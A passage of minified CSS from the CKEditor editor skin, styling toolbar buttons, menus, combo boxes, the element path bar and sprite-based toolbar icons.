a{color:#000}.cke_panel_listItem.cke_selected a{border:1px solid #dedede;background-color:#f2f2f2;-moz-box-shadow:0 0 2px rgba(0,0,0,.1) inset;-webkit-box-shadow:0 0 2px rgba(0,0,0,.1) inset;box-shadow:0 0 2px rgba(0,0,0,.1) inset}.cke_panel_listItem a:hover,.cke_panel_listItem a:focus,.cke_panel_listItem a:active{border-color:#dedede;background-color:#f2f2f2;-moz-box-shadow:0 0 2px rgba(0,0,0,.1) inset;-webkit-box-shadow:0 0 2px rgba(0,0,0,.1) inset;box-shadow:0 0 2px rgba(0,0,0,.1) inset}.cke_hc .cke_panel_listItem a{border-style:none}.cke_hc .cke_panel_listItem a:hover,.cke_hc .cke_panel_listItem a:focus,.cke_hc .cke_panel_listItem a:active{border:2px solid;padding:1px 2px}.cke_panel_grouptitle{cursor:default;font-size:11px;font-weight:bold;white-space:nowrap;margin:0;padding:4px 6px;color:#474747;text-shadow:0 1px 0 rgba(255,255,255,.75);border-bottom:1px solid #b6b6b6;-moz-border-radius:2px 2px 0 0;-webkit-border-radius:2px 2px 0 0;border-radius:2px 2px 0 0;-moz-box-shadow:0 1px 0 #fff inset;-webkit-box-shadow:0 1px 0 #fff inset;box-shadow:0 1px 0 #fff inset;background:#cfd1cf;background-image:-webkit-gradient(linear,left top,left bottom,from(#f5f5f5),to(#cfd1cf));background-image:-moz-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-webkit-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-o-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-ms-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:linear-gradient(top,#f5f5f5,#cfd1cf);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f5f5f5',endColorstr='#cfd1cf')}.cke_panel_listItem p,.cke_panel_listItem h1,.cke_panel_listItem h2,.cke_panel_listItem h3,.cke_panel_listItem h4,.cke_panel_listItem h5,.cke_panel_listItem h6,.cke_panel_listItem pre{margin-top:0;margin-bottom:0}.cke_colorblock{padding:3px;font-size:11px;font-family:'Microsoft Sans Serif',Tahoma,Arial,Verdana,Sans-Serif}.cke_colorblock,.cke_colorblock a{text-decoration:none;color:#000}span.cke_colorbox{width:10px;height:10px;border:#808080 1px solid;float:left}.cke_rtl span.cke_colorbox{float:right}a.cke_colorbox{border:#fff 1px solid;padding:2px;float:left;width:12px;height:12px}.cke_rtl a.cke_colorbox{float:right}a:hover.cke_colorbox,a:focus.cke_colorbox,a:active.cke_colorbox{border:#b6b6b6 1px solid;background-color:#e5e5e5}a.cke_colorauto,a.cke_colormore{border:#fff 1px solid;padding:2px;display:block;cursor:pointer}a:hover.cke_colorauto,a:hover.cke_colormore,a:focus.cke_colorauto,a:focus.cke_colormore,a:active.cke_colorauto,a:active.cke_colormore{border:#b6b6b6 1px solid;background-color:#e5e5e5}.cke_toolbar{float:left}.cke_rtl .cke_toolbar{float:right}.cke_toolgroup{float:left;margin:0 6px 5px 0;border:1px solid #a6a6a6;border-bottom-color:#979797;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;-webkit-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;background:#e4e4e4;background-image:-webkit-gradient(linear,left top,left bottom,from(#fff),to(#e4e4e4));background-image:-moz-linear-gradient(top,#fff,#e4e4e4);background-image:-webkit-linear-gradient(top,#fff,#e4e4e4);background-image:-o-linear-gradient(top,#fff,#e4e4e4);background-image:-ms-linear-gradient(top,#fff,#e4e4e4);background-image:linear-gradient(top,#fff,#e4e4e4);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ffffff',endColorstr='#e4e4e4')}.cke_hc .cke_toolgroup{border:0;margin-right:10px;margin-bottom:10px}.cke_rtl .cke_toolgroup{float:right;margin-left:6px;margin-right:0}a.cke_button{display:inline-block;height:18px;padding:4px 6px;outline:0;cursor:default;float:left;border:0}.cke_ltr .cke_button:last-child,.cke_rtl .cke_button:first-child{-moz-border-radius:0 2px 2px 0;-webkit-border-radius:0 2px 2px 0;border-radius:0 2px 2px 0}.cke_ltr .cke_button:first-child,.cke_rtl .cke_button:last-child{-moz-border-radius:2px 0 0 2px;-webkit-border-radius:2px 0 0 2px;border-radius:2px 0 0 2px}.cke_rtl .cke_button{float:right}.cke_hc .cke_button{border:1px solid black;padding:3px 5px;margin:-2px 4px 0 -2px}.cke_button_on{-moz-box-shadow:0 1px 5px rgba(0,0,0,.6) inset,0 1px 0 rgba(0,0,0,.2);-webkit-box-shadow:0 1px 5px rgba(0,0,0,.6) inset,0 1px 0 rgba(0,0,0,.2);box-shadow:0 1px 5px rgba(0,0,0,.6) inset,0 1px 0 rgba(0,0,0,.2);background:#b5b5b5;background-image:-webkit-gradient(linear,left top,left bottom,from(#aaa),to(#cacaca));background-image:-moz-linear-gradient(top,#aaa,#cacaca);background-image:-webkit-linear-gradient(top,#aaa,#cacaca);background-image:-o-linear-gradient(top,#aaa,#cacaca);background-image:-ms-linear-gradient(top,#aaa,#cacaca);background-image:linear-gradient(top,#aaa,#cacaca);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#aaaaaa',endColorstr='#cacaca')}.cke_hc .cke_button_on,.cke_hc a.cke_button_off:hover,.cke_hc a.cke_button_off:focus,.cke_hc a.cke_button_off:active,.cke_hc a.cke_button_disabled:hover,.cke_hc a.cke_button_disabled:focus,.cke_hc a.cke_button_disabled:active{border-width:3px;padding:1px 3px}.cke_button_disabled .cke_button_icon{opacity:.3}.cke_hc .cke_button_disabled{opacity:.5}a.cke_button_on:hover,a.cke_button_on:focus,a.cke_button_on:active{-moz-box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2);-webkit-box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2);box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2)}a.cke_button_off:hover,a.cke_button_off:focus,a.cke_button_off:active,a.cke_button_disabled:hover,a.cke_button_disabled:focus,a.cke_button_disabled:active{-moz-box-shadow:0 0 1px rgba(0,0,0,.3) inset;-webkit-box-shadow:0 0 1px rgba(0,0,0,.3) inset;box-shadow:0 0 1px rgba(0,0,0,.3) inset;background:#ccc;background-image:-webkit-gradient(linear,left top,left bottom,from(#f2f2f2),to(#ccc));background-image:-moz-linear-gradient(top,#f2f2f2,#ccc);background-image:-webkit-linear-gradient(top,#f2f2f2,#ccc);background-image:-o-linear-gradient(top,#f2f2f2,#ccc);background-image:-ms-linear-gradient(top,#f2f2f2,#ccc);background-image:linear-gradient(top,#f2f2f2,#ccc);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f2f2f2',endColorstr='#cccccc')}.cke_button_icon{cursor:inherit;background-repeat:no-repeat;margin-top:1px;width:16px;height:16px;float:left;display:inline-block}.cke_rtl .cke_button_icon{float:right}.cke_hc .cke_button_icon{display:none}.cke_button_label{display:none;padding-left:3px;margin-top:1px;line-height:17px;vertical-align:middle;float:left;cursor:default;color:#474747;text-shadow:0 1px 0 rgba(255,255,255,.5)}.cke_rtl .cke_button_label{padding-right:3px;padding-left:0;float:right}.cke_hc .cke_button_label{padding:0;display:inline-block;font-size:12px}.cke_button_arrow{display:inline-block;margin:8px 0 0 1px;width:0;height:0;cursor:default;vertical-align:top;border-left:3px solid transparent;border-right:3px solid transparent;border-top:3px solid #474747}.cke_rtl .cke_button_arrow{margin-right:5px;margin-left:0}.cke_hc .cke_button_arrow{font-size:10px;margin:3px -2px 0 3px;width:auto;border:0}.cke_toolbar_separator{float:left;background-color:#c0c0c0;background-color:rgba(0,0,0,.2);margin:5px 2px 0;height:18px;width:1px;-webkit-box-shadow:1px 0 1px rgba(255,255,255,.5);-moz-box-shadow:1px 0 1px rgba(255,255,255,.5);box-shadow:1px 0 1px rgba(255,255,255,.5)}.cke_rtl .cke_toolbar_separator{float:right;-webkit-box-shadow:-1px 0 1px rgba(255,255,255,.1);-moz-box-shadow:-1px 0 1px rgba(255,255,255,.1);box-shadow:-1px 0 1px rgba(255,255,255,.1)}.cke_hc .cke_toolbar_separator{width:0;border-left:1px solid;margin:1px 5px 0 0}.cke_toolbar_break{display:block;clear:left}.cke_rtl .cke_toolbar_break{clear:right}.cke_toolbox_collapser{width:12px;height:11px;float:right;margin:11px 0 0;font-size:0;cursor:default;text-align:center;border:1px solid #a6a6a6;border-bottom-color:#979797;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;-webkit-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;background:#e4e4e4;background-image:-webkit-gradient(linear,left top,left bottom,from(#fff),to(#e4e4e4));background-image:-moz-linear-gradient(top,#fff,#e4e4e4);background-image:-webkit-linear-gradient(top,#fff,#e4e4e4);background-image:-o-linear-gradient(top,#fff,#e4e4e4);background-image:-ms-linear-gradient(top,#fff,#e4e4e4);background-image:linear-gradient(top,#fff,#e4e4e4);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ffffff',endColorstr='#e4e4e4')}.cke_toolbox_collapser:hover{background:#ccc;background-image:-webkit-gradient(linear,left top,left bottom,from(#f2f2f2),to(#ccc));background-image:-moz-linear-gradient(top,#f2f2f2,#ccc);background-image:-webkit-linear-gradient(top,#f2f2f2,#ccc);background-image:-o-linear-gradient(top,#f2f2f2,#ccc);background-image:-ms-linear-gradient(top,#f2f2f2,#ccc);background-image:linear-gradient(top,#f2f2f2,#ccc);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f2f2f2',endColorstr='#cccccc')}.cke_toolbox_collapser.cke_toolbox_collapser_min{margin:0 2px 4px}.cke_rtl .cke_toolbox_collapser{float:left}.cke_toolbox_collapser .cke_arrow{display:inline-block;height:0;width:0;font-size:0;margin-top:1px;border-left:3px solid transparent;border-right:3px solid transparent;border-bottom:3px solid #474747;border-top:3px solid transparent}.cke_toolbox_collapser.cke_toolbox_collapser_min .cke_arrow{margin-top:4px;border-bottom-color:transparent;border-top-color:#474747}.cke_hc .cke_toolbox_collapser .cke_arrow{font-size:8px;width:auto;border:0;margin-top:0;margin-right:2px}.cke_menubutton{display:block}.cke_menuitem span{cursor:default}.cke_menubutton:hover,.cke_menubutton:focus,.cke_menubutton:active{background-color:#d3d3d3;display:block}.cke_hc .cke_menubutton{padding:2px}.cke_hc .cke_menubutton:hover,.cke_hc .cke_menubutton:focus,.cke_hc .cke_menubutton:active{border:2px solid;padding:0}.cke_menubutton_inner{display:table-row}.cke_menubutton_icon,.cke_menubutton_label,.cke_menuarrow{display:table-cell}.cke_menubutton_icon{background-color:#d7d8d7;opacity:.70;filter:alpha(opacity=70);padding:4px}.cke_hc .cke_menubutton_icon{height:16px;width:0;padding:4px 0}.cke_menubutton:hover .cke_menubutton_icon,.cke_menubutton:focus .cke_menubutton_icon,.cke_menubutton:active .cke_menubutton_icon{background-color:#d0d2d0}.cke_menubutton_disabled:hover .cke_menubutton_icon,.cke_menubutton_disabled:focus .cke_menubutton_icon,.cke_menubutton_disabled:active .cke_menubutton_icon{opacity:.3;filter:alpha(opacity=30)}.cke_menubutton_label{padding:0 5px;background-color:transparent;width:100%;vertical-align:middle}.cke_menubutton_disabled .cke_menubutton_label{opacity:.3;filter:alpha(opacity=30)}.cke_menubutton_on{border:1px solid #dedede;background-color:#f2f2f2;-moz-box-shadow:0 0 2px rgba(0,0,0,.1) inset;-webkit-box-shadow:0 0 2px rgba(0,0,0,.1) inset;box-shadow:0 0 2px rgba(0,0,0,.1) inset}.cke_menubutton_on .cke_menubutton_icon{padding-right:3px}.cke_menubutton:hover,.cke_menubutton:focus,.cke_menubutton:active{background-color:#eff0ef}.cke_panel_frame .cke_menubutton_label{display:none}.cke_menuseparator{background-color:#d3d3d3;height:1px;filter:alpha(opacity=70);opacity:.70}.cke_menuarrow{background-image:url(images/arrow.png);background-position:0 10px;background-repeat:no-repeat;padding:0 5px}.cke_rtl .cke_menuarrow{background-position:5px -13px;background-repeat:no-repeat}.cke_menuarrow span{display:none}.cke_hc .cke_menuarrow span{vertical-align:middle;display:inline}.cke_combo{display:inline-block;float:left}.cke_rtl .cke_combo{float:right}.cke_hc .cke_combo{margin-top:-2px}.cke_combo_label{display:none;float:left;line-height:26px;vertical-align:top;margin-right:5px}.cke_rtl .cke_combo_label{float:right;margin-left:5px;margin-right:0}.cke_combo_button{cursor:default;display:inline-block;float:left;margin:0 6px 5px 0;border:1px solid #a6a6a6;border-bottom-color:#979797;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;-webkit-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;background:#e4e4e4;background-image:-webkit-gradient(linear,left top,left bottom,from(#fff),to(#e4e4e4));background-image:-moz-linear-gradient(top,#fff,#e4e4e4);background-image:-webkit-linear-gradient(top,#fff,#e4e4e4);background-image:-o-linear-gradient(top,#fff,#e4e4e4);background-image:-ms-linear-gradient(top,#fff,#e4e4e4);background-image:linear-gradient(top,#fff,#e4e4e4);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ffffff',endColorstr='#e4e4e4')}.cke_combo_off a.cke_combo_button:hover,.cke_combo_off a.cke_combo_button:focus{background:#ccc;background-image:-webkit-gradient(linear,left top,left bottom,from(#f2f2f2),to(#ccc));background-image:-moz-linear-gradient(top,#f2f2f2,#ccc);background-image:-webkit-linear-gradient(top,#f2f2f2,#ccc);background-image:-o-linear-gradient(top,#f2f2f2,#ccc);background-image:-ms-linear-gradient(top,#f2f2f2,#ccc);background-image:linear-gradient(top,#f2f2f2,#ccc);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f2f2f2',endColorstr='#cccccc');outline:0}.cke_combo_off a.cke_combo_button:active,.cke_combo_on a.cke_combo_button{border:1px solid #777;-moz-box-shadow:0 1px 0 rgba(255,255,255,.5),0 1px 5px rgba(0,0,0,.6) inset;-webkit-box-shadow:0 1px 0 rgba(255,255,255,.5),0 1px 5px rgba(0,0,0,.6) inset;box-shadow:0 1px 0 rgba(255,255,255,.5),0 1px 5px rgba(0,0,0,.6) inset;background:#b5b5b5;background-image:-webkit-gradient(linear,left top,left bottom,from(#aaa),to(#cacaca));background-image:-moz-linear-gradient(top,#aaa,#cacaca);background-image:-webkit-linear-gradient(top,#aaa,#cacaca);background-image:-o-linear-gradient(top,#aaa,#cacaca);background-image:-ms-linear-gradient(top,#aaa,#cacaca);background-image:linear-gradient(top,#aaa,#cacaca);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#aaaaaa',endColorstr='#cacaca')}.cke_combo_on a.cke_combo_button:hover,.cke_combo_on a.cke_combo_button:focus,.cke_combo_on a.cke_combo_button:active{-moz-box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2);-webkit-box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2);box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2)}.cke_rtl .cke_combo_button{float:right;margin-left:5px;margin-right:0}.cke_hc a.cke_combo_button{padding:3px}.cke_hc .cke_combo_on a.cke_combo_button,.cke_hc .cke_combo_off a.cke_combo_button:hover,.cke_hc .cke_combo_off a.cke_combo_button:focus,.cke_hc .cke_combo_off a.cke_combo_button:active{border-width:3px;padding:1px}.cke_combo_text{line-height:26px;padding-left:10px;text-overflow:ellipsis;overflow:hidden;float:left;cursor:default;color:#474747;text-shadow:0 1px 0 rgba(255,255,255,.5);width:60px}.cke_rtl .cke_combo_text{float:right;text-align:right;padding-left:0;padding-right:10px}.cke_hc .cke_combo_text{line-height:18px;font-size:12px}.cke_combo_open{cursor:default;display:inline-block;font-size:0;height:19px;line-height:17px;margin:1px 7px 1px;width:5px}.cke_hc .cke_combo_open{height:12px}.cke_combo_arrow{cursor:default;margin:11px 0 0;float:left;height:0;width:0;font-size:0;border-left:3px solid transparent;border-right:3px solid transparent;border-top:3px solid #474747}.cke_hc .cke_combo_arrow{font-size:10px;width:auto;border:0;margin-top:3px}.cke_combo_disabled .cke_combo_inlinelabel,.cke_combo_disabled .cke_combo_open{opacity:.3}.cke_path{float:left;margin:-2px 0 2px}.cke_path_item,.cke_path_empty{display:inline-block;float:left;padding:3px 4px;margin-right:2px;cursor:default;text-decoration:none;outline:0;border:0;color:#4c4c4c;text-shadow:0 1px 0 #fff;font-weight:bold;font-size:11px}.cke_rtl .cke_path,.cke_rtl .cke_path_item,.cke_rtl .cke_path_empty{float:right}a.cke_path_item:hover,a.cke_path_item:focus,a.cke_path_item:active{background-color:#bfbfbf;color:#333;text-shadow:0 1px 0 rgba(255,255,255,.5);-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px;-moz-box-shadow:0 0 4px rgba(0,0,0,.5) inset,0 1px 0 rgba(255,255,255,.5);-webkit-box-shadow:0 0 4px rgba(0,0,0,.5) inset,0 1px 0 rgba(255,255,255,.5);box-shadow:0 0 4px rgba(0,0,0,.5) inset,0 1px 0 rgba(255,255,255,.5)}.cke_hc a.cke_path_item:hover,.cke_hc a.cke_path_item:focus,.cke_hc a.cke_path_item:active{border:2px solid;padding:1px 2px}.cke_button__source_label,.cke_button__sourcedialog_label{display:inline}.cke_combo__fontsize .cke_combo_text{width:30px}.cke_combopanel__fontsize{width:120px}.cke_source{font-family:'Courier New',Monospace;font-size:small;background-color:#fff;white-space:pre}.cke_wysiwyg_frame,.cke_wysiwyg_div{background-color:#fff}.cke_chrome{visibility:inherit}.cke_voice_label{display:none}legend.cke_voice_label{display:none}a.cke_button_disabled,a.cke_button_disabled:hover,a.cke_button_disabled:focus,a.cke_button_disabled:active{filter:alpha(opacity = 30)}.cke_button_disabled .cke_button_icon{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr=#00ffffff,endColorstr=#00ffffff)}.cke_button_off:hover,.cke_button_off:focus,.cke_button_off:active{filter:alpha(opacity = 100)}.cke_combo_disabled .cke_combo_inlinelabel,.cke_combo_disabled .cke_combo_open{filter:alpha(opacity = 30)}.cke_toolbox_collapser{border:1px solid #a6a6a6}.cke_toolbox_collapser .cke_arrow{margin-top:1px}.cke_hc .cke_top,.cke_hc .cke_bottom,.cke_hc .cke_combo_button,.cke_hc a.cke_combo_button:hover,.cke_hc a.cke_combo_button:focus,.cke_hc .cke_toolgroup,.cke_hc .cke_button_on,.cke_hc a.cke_button_off:hover,.cke_hc a.cke_button_off:focus,.cke_hc a.cke_button_off:active,.cke_hc .cke_toolbox_collapser,.cke_hc .cke_toolbox_collapser:hover,.cke_hc .cke_panel_grouptitle{filter:progid:DXImageTransform.Microsoft.gradient(enabled=false)}.cke_top,.cke_contents,.cke_bottom{width:100%}.cke_button_arrow{font-size:0}.cke_rtl .cke_toolgroup,.cke_rtl .cke_toolbar_separator,.cke_rtl .cke_button,.cke_rtl .cke_button *,.cke_rtl .cke_combo,.cke_rtl .cke_combo *,.cke_rtl .cke_path_item,.cke_rtl .cke_path_item *,.cke_rtl .cke_path_empty{float:none}.cke_rtl .cke_toolgroup,.cke_rtl .cke_toolbar_separator,.cke_rtl .cke_combo_button,.cke_rtl .cke_combo_button *,.cke_rtl .cke_button,.cke_rtl .cke_button_icon{display:inline-block;vertical-align:top}.cke_rtl .cke_button_icon{float:none}.cke_resizer{width:10px}.cke_source{white-space:normal}.cke_bottom{position:static}.cke_colorbox{font-size:0}.cke_button__bold_icon {background: url(icons.png) no-repeat 0 -0px !important;}.cke_button__italic_icon {background: url(icons.png) no-repeat 0 -24px !important;}.cke_button__strike_icon {background: url(icons.png) no-repeat 0 -48px !important;}.cke_button__subscript_icon {background: url(icons.png) no-repeat 0 -72px !important;}.cke_button__superscript_icon {background: url(icons.png) no-repeat 0 -96px !important;}.cke_button__underline_icon {background: url(icons.png) no-repeat 0 -120px !important;}.cke_button__blockquote_icon {background: url(icons.png) no-repeat 0 -144px !important;}.cke_rtl .cke_button__copy_icon, .cke_mixed_dir_content .cke_rtl .cke_button__copy_icon {background: url(icons.png) no-repeat 0 -168px !important;}.cke_ltr .cke_button__copy_icon {background: url(icons.png) no-repeat 0 -192px !important;}.cke_rtl .cke_button__cut_icon, .cke_mixed_dir_content .cke_rtl .cke_button__cut_icon {background: url(icons.png) no-repeat 0 -216px !important;}.cke_ltr .cke_button__cut_icon {background: url(icons.png) no-repeat 0 -240px !important;}.cke_rtl .cke_button__paste_icon, .cke_mixed_dir_content .cke_rtl .cke_button__paste_icon {background: url(icons.png) no-repeat 0 -264px !important;}.cke_ltr .cke_button__paste_icon {background: url(icons.png) no-repeat 0 -288px !important;}.cke_button__bgcolor_icon {background: url(icons.png) no-repeat 0 -312px !important;}.cke_button__textcolor_icon {background: url(icons.png) no-repeat 0 -336px !important;}.cke_button__horizontalrule_icon {background: url(icons.png) no-repeat 0 -360px !important;}.cke_button__image_icon {background: url(icons.png) no-repeat 0 -384px !important;}.cke_rtl .cke_button__indent_icon, .cke_mixed_dir_content .cke_rtl .cke_button__indent_icon {background: url(icons.png) no-repeat 0 -408px !important;}.cke_ltr .cke_button__indent_icon {background: url(icons.png) no-repeat 0 -432px !important;}.cke_rtl .cke_button__outdent_icon, .cke_mixed_dir_content .cke_rtl .cke_button__outdent_icon {background: url(icons.png) no-repeat 0 -456px !important;}.cke_ltr .cke_button__outdent_icon {background: url(icons.png) no-repeat 0 -480px !important;}.cke_button__justifyblock_icon {background: url(icons.png) no-repeat 0 -504px !important;}.cke_button__justifycenter_icon {background: url(icons.png) no-repeat 0 -528px !important;}.cke_button__justifyleft_icon {background: url(icons.png) no-repeat 0 -552px !important;}.cke_button__justifyright_icon {background: url(icons.png) no-repeat 0 -576px !important;}.cke_rtl .cke_button__anchor_icon, .cke_mixed_dir_content .cke_rtl .cke_button__anchor_icon {background: url(icons.png) no-repeat 0 -600px !important;}.cke_ltr .cke_button__anchor_icon {background: url(icons.png) no-repeat 0 -624px !important;}.cke_button__link_icon {background: url(icons.png) no-repeat 0 -648px !important;}.cke_button__unlink_icon {background: url(icons.png) no-repeat 0 -672px !important;}.cke_rtl .cke_button__bulletedlist_icon, .cke_mixed_dir_content .cke_rtl .cke_button__bulletedlist_icon {background: url(icons.png) no-repeat 0 -696px !important;}.cke_ltr .cke_button__bulletedlist_icon {background: url(icons.png) no-repeat 0 -720px !important;}.cke_rtl .cke_button__numberedlist_icon, .cke_mixed_dir_content .cke_rtl .cke_button__numberedlist_icon {background: url(icons.png) no-repeat 0 -744px !important;}.cke_ltr .cke_button__numberedlist_icon {background: url(icons.png) no-repeat 0 -768px !important;}.cke_button__maximize_icon {background: url(icons.png) no-repeat 0 -792px !important;}.cke_rtl .cke_button__pastefromword_icon, .cke_mixed_dir_content .cke_rtl .cke_button__pastefromword_icon {background: url(icons.png) no-repeat 0 -816px !important;}.cke_ltr .cke_button__pastefromword_icon {background: url(icons.png) no-repeat 0 -840px !important;}.cke_rtl .cke_button__pastetext_icon, .cke_mixed_dir_content .cke_rtl .cke_button__pastetext_icon {background: url(icons.png) no-repeat 0 -864px !important;}.cke_ltr .cke_button__pastetext_icon {background: url(icons.png) no-repeat 0 -888px !important;}.cke_button__removeformat_icon {background: url(icons.png) no-repeat 0 -912px !important;}.cke_rtl .cke_button__source_icon, .cke_mixed_dir_content .cke_rtl .cke_button__source_icon {background: url(icons.png) no-repeat 0 -936px !important;}.cke_ltr .cke_button__source_icon {background: url(icons.png) no-repeat 0 -960px !important;}.cke_button__table_icon {background: url(icons.png) no-repeat 0 -984px !important;}.cke_rtl .cke_button__redo_icon, .cke_mixed_dir_content .cke_rtl .cke_button__redo_icon {background: url(icons.png) no-repeat 0 -1008px !important;}.cke_ltr .cke_button__redo_icon {background: url(icons.png) no-repeat 0 -1032px !important;}.cke_rtl .cke_button__undo_icon, .cke_mixed_dir_content .cke_rtl .cke_button__undo_icon {background: url(icons.png) no-repeat 0 -1056px !important;}.cke_ltr .cke_button__undo_icon {background: url(icons.png) no-repeat 0 -1080px !important;}.cke_rtl .cke_button__sourcedialog_icon, .cke_mixed_dir_content .cke_rtl .cke_button__sourcedialog_icon {background: url(icons.png) no-repeat 0 -1104px !important;}.cke_ltr .cke_button__sourcedialog_icon {background: url(icons.png) no-repeat 0 -1128px !important;}.cke_hidpi .cke_button__bold_icon {background: url(icons_hidpi.png) no-repeat 0 -0px !important;background-size: 16px !important;}.cke_hidpi .cke_button__italic_icon {background: url(icons_hidpi.png) no-repeat 0 -24px !important;background-size: 16px !important;}.cke_hidpi .cke_button__strike_icon {background: url(icons_hidpi.png) no-repeat 0 -48px !important;background-size: 16px !important;}.cke_hidpi .cke_button__subscript_icon {background: url(icons_hidpi.png) no-repeat 0 -72px !important;background-size: 16px !important;}.cke_hidpi .cke_button__superscript_icon {background: url(icons_hidpi.png) no-repeat 0 -96px !important;background-size: 16px !important;}.cke_hidpi .cke_button__underline_icon {background: url(icons_hidpi.png) no-repeat 0 -120px !important;background-size: 16px !important;}.cke_hidpi .cke_button__blockquote_icon {background: url(icons_hidpi.png) no-repeat 0 -144px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__copy_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__copy_icon {background: url(icons_hidpi.png) no-repeat 0 -168px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__copy_icon,.cke_ltr.cke_hidpi .cke_button__copy_icon {background: url(icons_hidpi.png) no-repeat 0 -192px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__cut_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__cut_icon {background: url(icons_hidpi.png) no-repeat 0 -216px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__cut_icon,.cke_ltr.cke_hidpi .cke_button__cut_icon {background: url(icons_hidpi.png) no-repeat 0 -240px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__paste_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__paste_icon {background: url(icons_hidpi.png) no-repeat 0 -264px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__paste_icon,.cke_ltr.cke_hidpi .cke_button__paste_icon {background: url(icons_hidpi.png) no-repeat 0 -288px !important;background-size: 16px !important;}.cke_hidpi .cke_button__bgcolor_icon {background: url(icons_hidpi.png) no-repeat 0 -312px !important;background-size: 16px !important;}.cke_hidpi .cke_button__textcolor_icon {background: url(icons_hidpi.png) no-repeat 0 -336px !important;background-size: 16px !important;}.cke_hidpi .cke_button__horizontalrule_icon {background: url(icons_hidpi.png) no-repeat 0 -360px !important;background-size: 16px !important;}.cke_hidpi .cke_button__image_icon {background: url(icons_hidpi.png) no-repeat 0 -384px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__indent_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__indent_icon {background: url(icons_hidpi.png) no-repeat 0 -408px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__indent_icon,.cke_ltr.cke_hidpi .cke_button__indent_icon {background: url(icons_hidpi.png) no-repeat 0 -432px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__outdent_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__outdent_icon {background: url(icons_hidpi.png) no-repeat 0 -456px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__outdent_icon,.cke_ltr.cke_hidpi .cke_button__outdent_icon {background: url(icons_hidpi.png) no-repeat 0 -480px !important;background-size: 16px !important;}.cke_hidpi .cke_button__justifyblock_icon {background: url(icons_hidpi.png) no-repeat 0 -504px !important;background-size: 16px !important;}.cke_hidpi .cke_button__justifycenter_icon {background: url(icons_hidpi.png) no-repeat 0 -528px !important;background-size: 16px !important;}.cke_hidpi .cke_button__justifyleft_icon {background: url(icons_hidpi.png) no-repeat 0 -552px !important;background-size: 16px !important;}.cke_hidpi .cke_button__justifyright_icon {background: url(icons_hidpi.png) no-repeat 0 -576px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__anchor_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__anchor_icon {background: url(icons_hidpi.png) no-repeat 0 -600px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__anchor_icon,.cke_ltr.cke_hidpi .cke_button__anchor_icon {background: url(icons_hidpi.png) no-repeat 0 -624px !important;background-size: 16px !important;}.cke_hidpi .cke_button__link_icon {background: url(icons_hidpi.png) no-repeat 0 -648px !important;background-size: 16px !important;}.cke_hidpi 